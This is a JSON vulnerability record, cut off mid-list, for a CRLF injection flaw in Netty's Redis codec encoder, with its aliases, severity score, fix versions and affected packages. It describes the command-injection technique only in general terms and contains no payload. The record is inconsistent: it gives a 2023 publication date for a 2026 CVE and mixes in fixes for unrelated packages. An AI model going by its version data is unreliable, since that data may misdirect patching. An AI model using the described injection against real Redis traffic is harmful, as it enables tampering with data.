{"id":"CVE-2026-42586","aliases":["CLSA-2026-1784596264","CLSA-2026-1786699450","CLSA-2026-1787271464","CLSA-2026-1787301097","CLSA-2026-1787306632","CLSA-2026-1787309634","CLSA-2026-1787333890","CLSA-2026-1787383378","CLSA-2026-1787397404","CLSA-2026-1787671732","CLSA-2026-1788193874","CLSA-2026-1788193903","CLSA-2026-1788216921","CLSA-2026-1788418779","CLSA-2026-1789379599","CLSA-2026-1789654344","CLSA-2026-1790697560","CLSA-2026-1790769238","CLSA-2026-1792664900","CLSA-2026-1792665099","CLSA-2026-1792665279","CLSA-2026-1792666293","CLSA-2026-1792673710","CLSA-2026-1792673723","CLSA-2026-1792686278","CLSA-2026-1792746051","CLSA-2026-1792747978","CLSA-2026-1793707066","CLSA-2026-1793707863","CLSA-2026-1793710149","CLSA-2026-1793711679","CLSA-2026-1793717783","CLSA-2026-1793734084","CLSA-2026-1793773328","CLSA-2026-1793774228","CLSA-2026-1793775085","CLSA-2026-1793776056","CLSA-2026-1793778498","CLSA-2026-1793862404","CLSA-2026-1793864924","CLSA-2026-1793885094","CLSA-2026-1794160114","CLSA-2026-1794169971","CLSA-2026-1794170985","CLSA-2026-1794232233","DEBIAN-CVE-2026-42586","EUVD-2026-30129","GHSA-3244-j874-rhc2","GHSA-5w86-c3rq-vjj7","GHSA-6ghj-frrj-jjj3","GHSA-6jv9-x5w9-2ccm","GHSA-mfg7-5gfp-c4w3","GHSA-p9jm-q85p-7mcp","GHSA-rgrr-p7gp-5xj7","GHSA-v74w-7mr3-4qg3","GHSA-xpw8-rcwv-8f8p","RHLW-2026-6f1a404174e2316f","ROOT-APP-MAVEN-GHSA-xpw8-rcwv-8f8p","SUSE-SU-2026:2308-1","UBUNTU-CVE-2026-42586","openSUSE-SU-2026:10795-1"],"status":"published","title":"Netty: CRLF Injection in Netty Redis Codec Encoder","description":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\\r\\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","severity":{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00217,"percentile":0.12243,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-93"],"published":"2023-10-10T22:22:54Z","modified":"2026-11-09T19:15:14Z","fixes":[{"ecosystem":"Maven","package":"io.netty:netty-codec-redis","fixed_in":["4.2.13.Final","4.1.133.Final"],"sources":["ghsa","osv"]},{"ecosystem":"Maven","package":"io.netty:netty-codec-http2","fixed_in":["4.1.100.Final"],"sources":["ghsa","osv"]},{"ecosystem":"Root:Maven","package":"io.root.io.netty:netty-codec-http2","fixed_in":["4.1.97.Final-root.io.1","4.1.97.Final-root.io.2","4.1.97.Final-root.io.3","4.1.97.Final-root.io.4","4.1.97.Final-root.io.5","4.1.97.Final-root.io.6","4.1.97.Final-root.io.7"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"io.netty:netty-codec-http2","fixed_in":["4.1.97.Final-aikido.7"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"netty","fixed_in":["1:4.1.7-4ubuntu0.1+esm6"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"netty","fixed_in":["1:4.1.45-1ubuntu0.1~esm6"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:22.04:LTS","package":"netty","fixed_in":["1:4.1.48-4+deb11u2ubuntu0.1+esm3"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:24.04:LTS","package":"netty","fixed_in":["1:4.1.48-9ubuntu0.1+esm3"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:26.04:LTS","package":"netty","fixed_in":["1:4.1.48-16ubuntu0.1~esm2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0.Alpha1"},{"last_affected":"4.2.12.Final"},{"fixed":"4.2.13.Final"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.1.132.Final"},{"fixed":"4.1.133.Final"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.100.Final"}]}]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.117.Final"},{"fixed":"4.1.117.Final-tuxcare.2"}]}],"versions":["4.1.117.Final","4.1.117.Final-tuxcare.1"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.117.Final"},{"fixed":"4.1.117.Final-tuxcare.2"}]}],"versions":["4.1.117.Final","4.1.117.Final-tuxcare.1"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.117.Final"},{"fixed":"4.1.117.Final-tuxcare.2"}]}],"versions":["4.1.117.Final","4.1.117.Final-tuxcare.1"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.117.Final"},{"fixed":"4.1.117.Final-tuxcare.2"}]}],"versions":["4.1.117.Final","4.1.117.Final-tuxcare.1"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.117.Final"},{"fixed":"4.1.117.Final-tuxcare.2"}]}],"versions":["4.1.117.Final","4.1.117.Final-tuxcare.1"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.2"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.2"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.2"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.2"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.2"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.2"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.2"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-dev-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-example","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-ssl-ocsp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-microbench","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-native-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-autobahn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client-runtime-init","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-osgi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-shading","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-blockhound-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-rxtx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-udt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-dev-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-example","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-ssl-ocsp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-microbench","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-native-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv"